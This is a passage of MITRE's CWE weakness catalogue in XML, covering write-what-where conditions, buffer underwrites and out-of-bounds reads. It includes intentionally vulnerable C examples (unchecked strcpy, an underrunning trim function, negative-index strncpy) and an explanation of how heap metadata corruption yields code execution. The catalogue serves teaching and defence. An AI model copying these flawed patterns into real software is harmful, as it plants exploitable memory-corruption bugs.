					          <Reference_Section>Chapter 5, "Heap Overruns" Page 138</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "Nonexecutable Stack", Page
						76.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 5, "Protection Mechanisms", Page
						189.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Heap overflow</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A buffer overflow where the buffer from the Buffer Write Operation is
						dynamically allocated</Text>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>92</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="123" Name="Write-what-where Condition" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Any condition where the attacker has the ability to write an
					arbitrary value to an arbitrary location, often as the result of a buffer
					overflow.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>134</Relationship_Target_ID>
					          <!--Uncontrolled Format String-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Clearly, write-what-where conditions can be used to write data to
							areas of memory outside the scope of a policy. Also, they almost
							invariably can be used to execute arbitrary code, which is usually
							outside the scope of a program's implicit security policy.</Text>
						            <Text>If the attacker can overwrite a pointer's worth of memory (usually 32
							or 64 bits), he can redirect a function pointer to his own malicious
							code. Even when the attacker can only modify a single byte arbitrary
							code execution can be possible. Sometimes this is because the same
							problem can be exploited repeatedly to the same effect. Other times it
							is because the attacker can overwrite security-critical
							application-specific data -- such as a flag indicating whether the user
							is an administrator.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Many memory accesses can lead to program termination, such as when
							writing to addresses that are invalid for the current process.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When the consequence is arbitrary code execution, this can often be
							used to subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Pre-design: Use a language that provides appropriate memory
							abstractions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Integrate technologies that try to prevent the consequences of this
							problem.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Take note of mitigations provided for other flaws in this taxonomy
							that lead to write-what-where conditions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Operational: Use OS-level preventative functionality integrated after
							the fact. Not a complete solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The classic example of a write-what-where condition occurs when the
						accounting information for memory allocations is overwritten in a particular
						fashion. Here is an example of potentially vulnerable code:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define BUFSIZE 256</Code>
							              <Code>int main(int argc, char **argv) {</Code>
							              <Block>
								                <Code>char *buf1 = (char *) malloc(BUFSIZE);</Code>
								                <Code>char *buf2 = (char *) malloc(BUFSIZE);</Code>
								                <Code>strcpy(buf1, argv[1]);</Code>
								                <Code>free(buf2);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> Vulnerability in this case is dependent on memory layout. The call to
							strcpy() can be used to write past the end of buf1, and, with a typical
							layout, can overwrite the accounting information that the system keeps
							for buf2 when it is allocated. Note that if the allocation header for
							buf2 can be overwritten, buf2 itself can be overwritten as well. </Text>
						            <Text> The allocation header will generally keep a linked list of memory
							“chunks”. Particularly, there may be a “previous” chunk and a “next”
							chunk. Here, the previous chunk for buf2 will probably be buf1, and the
							next chunk may be null. When the free() occurs, most memory allocators
							will rewrite the linked list using data from buf2. Particularly, the
							“next” chunk for buf1 will be updated and the “previous” chunk for any
							subsequent chunk will be updated. The attacker can insert a memory
							address for the “next” chunk and a value to write into that memory
							address for the “previous” chunk. </Text>
						            <Text> This could be used to overwrite a function pointer that gets
							dereferenced later, replacing it with a memory address that the attacker
							has legitimate access to, where he has placed malicious code, resulting
							in arbitrary code execution. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Write-what-where condition</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="124" Name="Buffer Underwrite ('Buffer Underflow')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software writes to a buffer using an index or pointer that
					references a memory location prior to the beginning of the buffer. </Description_Summary>
				        <Extended_Description>
					          <Text>This typically occurs when a pointer or its index is decremented to a
						position before the buffer, when pointer arithmetic results in a position
						before the beginning of the valid memory location, or when a negative index
						is used.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>786</Relationship_Target_ID>
					          <!--Access of Memory Location Before Start of Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>787</Relationship_Target_ID>
					          <!--Out-of-bounds Write-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This could be resultant from several errors, including a bad offset or an
						array index that decrements before the beginning of the buffer (see
						CWE-129).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>buffer underrun</Term>
					          <Alternate_Term_Description>
						            <Text>Some prominent vendors and researchers use the term "buffer underrun".
							"Buffer underflow" is more commonly used, although both terms are also
							sometimes used to describe a buffer under-read (CWE-127).</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Out of bounds memory access will very likely result in the corruption
							of relevant memory, and perhaps instructions, possibly leading to a
							crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the corrupted memory can be effectively controlled, it may be
							possible to execute arbitrary code. If the corrupted memory is data
							rather than instructions, the system will continue to function with
							improper changes, possibly in violation of an implicit or explicit
							policy. The consequences would only be limited by how the affected data
							is used, such as an adjacent memory location that is used to specify
							whether the user has special privileges.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When the consequence is arbitrary code execution, this can often be
							used to subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Requirements specification: The choice could be made to use a language
							that is not susceptible to these issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Sanity checks should be performed on all calculated values used as
							index or for pointer arithmetic.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-87">
					          <Intro_Text>In the following C/C++ example, a utility function is used to trim
						trailing whitespace from a character string. The function copies the input
						string to a local character string and uses a while statement to remove the
						trailing whitespace by moving backward through the string and overwriting
						whitespace with a NUL character.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char* trimTrailingWhitespace(char *strMessage, int length)
								{</Code>
							              <Block>
								                <Code>char *retMessage;</Code>
								                <Code>char *message = malloc(sizeof(char)*(length+1));</Code>
								                <Code/>
								                <Comment>// copy input string to a temporary string</Comment>
								                <Code>char message[length+1];</Code>
								                <Code>int index;</Code>
								                <Code>for (index = 0; index &lt; length; index++) {</Code>
								                <Block>
									                  <Code>message[index] = strMessage[index];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>message[index] = '\0';</Code>
								                <Code/>
								                <Comment>// trim trailing whitespace</Comment>
								                <Code>int len = index-1;</Code>
								                <Code>while (isspace(message[len])) {</Code>
								                <Block>
									                  <Code>message[len] = '\0';</Code>
									                  <Code>len--;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// return string without trailing whitespace</Comment>
								                <Code>retMessage = message;</Code>
								                <Code>return retMessage;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, this function can cause a buffer underwrite if the input
							character string contains all whitespace. On some systems the while
							statement will move backwards past the beginning of a character string
							and will call the isspace() function on an address outside of the bounds
							of the local buffer.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-88">
					          <Intro_Text>The following is an example of code that may result in a buffer
						underwrite, if find() returns a negative value to indicate that ch is not
						found in srcBuf:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int main() {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>strncpy(destBuf, &amp;srcBuf[find(srcBuf, ch)], 1024);</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the index to srcBuf is somehow under user control, this is an
							arbitrary write-what-where condition.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2227</Observed_Example_Reference>
					          <Observed_Example_Description>Unchecked length of SSLv2 challenge value leads to
						buffer underflow.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4580</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow from a small size value with a
						large buffer (length parameter inconsistency,
						CWE-130)</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1584</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow from an all-whitespace string,
						which causes a counter to be decremented before the buffer while looking for
						a non-whitespace character.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1584</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0886</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow resultant from encoded data that
						triggers an integer overflow.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0886</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6171</Observed_Example_Reference>
					          <Observed_Example_Description>Product sets an incorrect buffer size limit,
						leading to "off-by-two" buffer underflow.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4024</Observed_Example_Reference>
					          <Observed_Example_Description>Negative value is used in a memcpy() operation,
						leading to buffer underflow.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4024</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2620</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow due to mishandled special
						characters</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2620</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Much attention has been paid to buffer overflows, but "underflows"
						sometimes exist in products that are relatively free of overflows, so it is
						likely that this variant has been under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Title>Buffer UNDERFLOWS: What do you know about it?</Reference_Title>
					          <Reference_Publication>Vuln-Dev Mailing List</Reference_Publication>
					          <Reference_Date>2004-01-10</Reference_Date>
					          <Reference_Link>http://seclists.org/vuln-dev/2004/Jan/0022.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>UNDER - Boundary beginning violation ('buffer
						underflow'?)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Buffer underwrite</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Description, Relationships, Relationship_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-10-29">Boundary Beginning Violation
						('Buffer Underwrite')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="125" Name="Out-of-bounds Read" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software reads data past the end, or before the beginning,
					of the intended buffer.</Description_Summary>
				        <Extended_Description>
					          <Text> This typically occurs when the pointer or its index is incremented or
						decremented to a position beyond the bounds of the buffer or when pointer
						arithmetic results in a position outside of the valid memory location to
						name a few. This may result in corruption of sensitive information, a crash,
						or code execution among other things.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
